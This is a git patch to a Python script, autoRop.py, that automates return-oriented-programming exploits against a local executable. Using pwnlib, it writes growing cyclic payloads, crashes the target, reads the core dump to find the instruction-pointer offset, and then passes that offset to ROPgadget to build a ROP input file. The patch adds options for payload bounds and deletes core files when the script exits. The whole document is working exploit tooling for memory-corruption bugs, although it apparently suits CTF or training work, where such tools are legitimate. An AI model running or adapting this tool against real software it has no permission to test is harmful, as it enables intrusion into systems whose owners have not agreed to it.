From bc63dfe0affc07a057a65f97ae5b6106adc613dd Mon Sep 17 00:00:00 2001
From: Liam Dalgarno <liamdalg99@gmail.com>
Date: Thu, 26 Nov 2020 06:47:19 +0000
Subject: [PATCH] Clean up find_offset and add payload args

---
 auto-rop.py => autoRop.py | 73 +++++++++++++++++++++++----------------
 1 file changed, 43 insertions(+), 30 deletions(-)
 rename auto-rop.py => autoRop.py (58%)
 mode change 100644 => 100755

diff --git a/auto-rop.py b/autoRop.py
old mode 100644
new mode 100755
similarity index 58%
rename from auto-rop.py
rename to autoRop.py
index b43b702..a745412
--- a/auto-rop.py
+++ b/autoRop.py
@@ -1,14 +1,26 @@
-from pwnlib.elf.corefile import Coredump
-from pwnlib.util.cyclic import cyclic, cyclic_find
-from pwnlib.util.packing import pack
-from pwnlib.tubes.process import process, signal
-
-import os
-import sys
-import subprocess
 import argparse
+import atexit
+import math
+import os
+import subprocess
+import sys
 from contextlib import redirect_stderr
 
+from pwnlib.context import context
+from pwnlib.elf.corefile import Coredump
+from pwnlib.tubes.process import process, signal
+from pwnlib.util.cyclic import cyclic, cyclic_find
+from pwnlib.util.packing import pack
+from pwnlib import atexit as pwnlibexit
+
+# pwnlib has its own version of atexit to do stuff when the program exits, but uses sys.exitfunc
+# to do so... unfortunately this was deprecated in python3 so it no longer works!
+# either we use python2 or just re-register the pwnlib functions as follows
+# why does everything use python2 :(
+atexit.register(pwnlibexit._run_handlers)
+
+# delete the corefiles on exit
+context.update(delete_corefiles=True)
 
 print(r'''
    _                ___       _.--.  ___        _____          ______ _____          ______ ______ 
@@ -22,49 +34,50 @@ print(r'''
 
 arg_parser = argparse.ArgumentParser(description="Run an automated ROP on an executable")
 arg_parser.add_argument("exec_file", metavar="exec_file", type=str, help="The executable file to exploit")
-arg_parser.add_argument("--core", "--c", metavar="core_file", default="core", type=str, help="The name of the generated core file")
 arg_parser.add_argument("rop_file", metavar="rop_file", type=str, help="The name of the generated ROP input file")
+arg_parser.add_argument("--min_payload", metavar="min", default=32, type=int, help="The minimum payload length to try")
+arg_parser.add_argument("--max_payload", metavar="max", default=16384, type=int, help="The maximum payload length to try")
 args = arg_parser.parse_args()
 
 exec_file = args.exec_file
-core_file = args.core
 rop_file = args.rop_file
+min_payload = args.min_payload
+max_payload = args.max_payload
 
-def find_offset(exec_file, core_file):
+def find_offset(exec_file: str, min_payload: int, max_payload: int):
     input_file = "input.txt"
 
-    try:
-        os.remove(core_file)
-    except:
-        pass    
-    
-    payload_size = 32
-    while payload_size <= 16384:
+    payload_size = min_payload
+    while payload_size <= max_payload:
+        
         print(f"[🤔] Trying payload {payload_size}...")
 
         with open(input_file, "wb") as f:
             payload = cyclic(payload_size)
             f.write(payload)
 
-        process([f"./{exec_file}", input_file]).wait()
+        proc = process([f"./{exec_file}", input_file])
+        exit_code = proc.poll(block=True)
 
-        try:
+        if exit_code != 0:
+            # ignore the warnings returned by pwnlib, if finding corefile fails then core is None
             with open("/dev/null", "w") as f, redirect_stderr(f):
-                core = Coredump(f"./{core_file}")
-            
-            if core and pack(core.eip) in payload:
+                core = proc.corefile
+
+            if core is not None and pack(core.eip) in payload:
                 offset = cyclic_find(core.eip)
-                print(f"[😳] Found offset at {offset}!")
+                print(f"[😳] Found offset at {offset}!\n")
                 return offset
-        except FileNotFoundError:
-            pass
 
-        os.remove(input_file)
         payload_size *= 2
-    
-    raise BaseException("[😞] Failed to find offset.")
 
-offset = find_offset(exec_file, core_file)
+    return -1
+
+offset = find_offset(exec_file, min_payload, max_payload)
+
+if offset == -1:
+    print(f"[😞] Failed to find offset. Try increasing the payload bounds and ensuring core dumps are enabled!")
+    sys.exit(0)
 
 print(f"[🤔] Running ROPgadget with offset {offset}...")
 result = subprocess.run(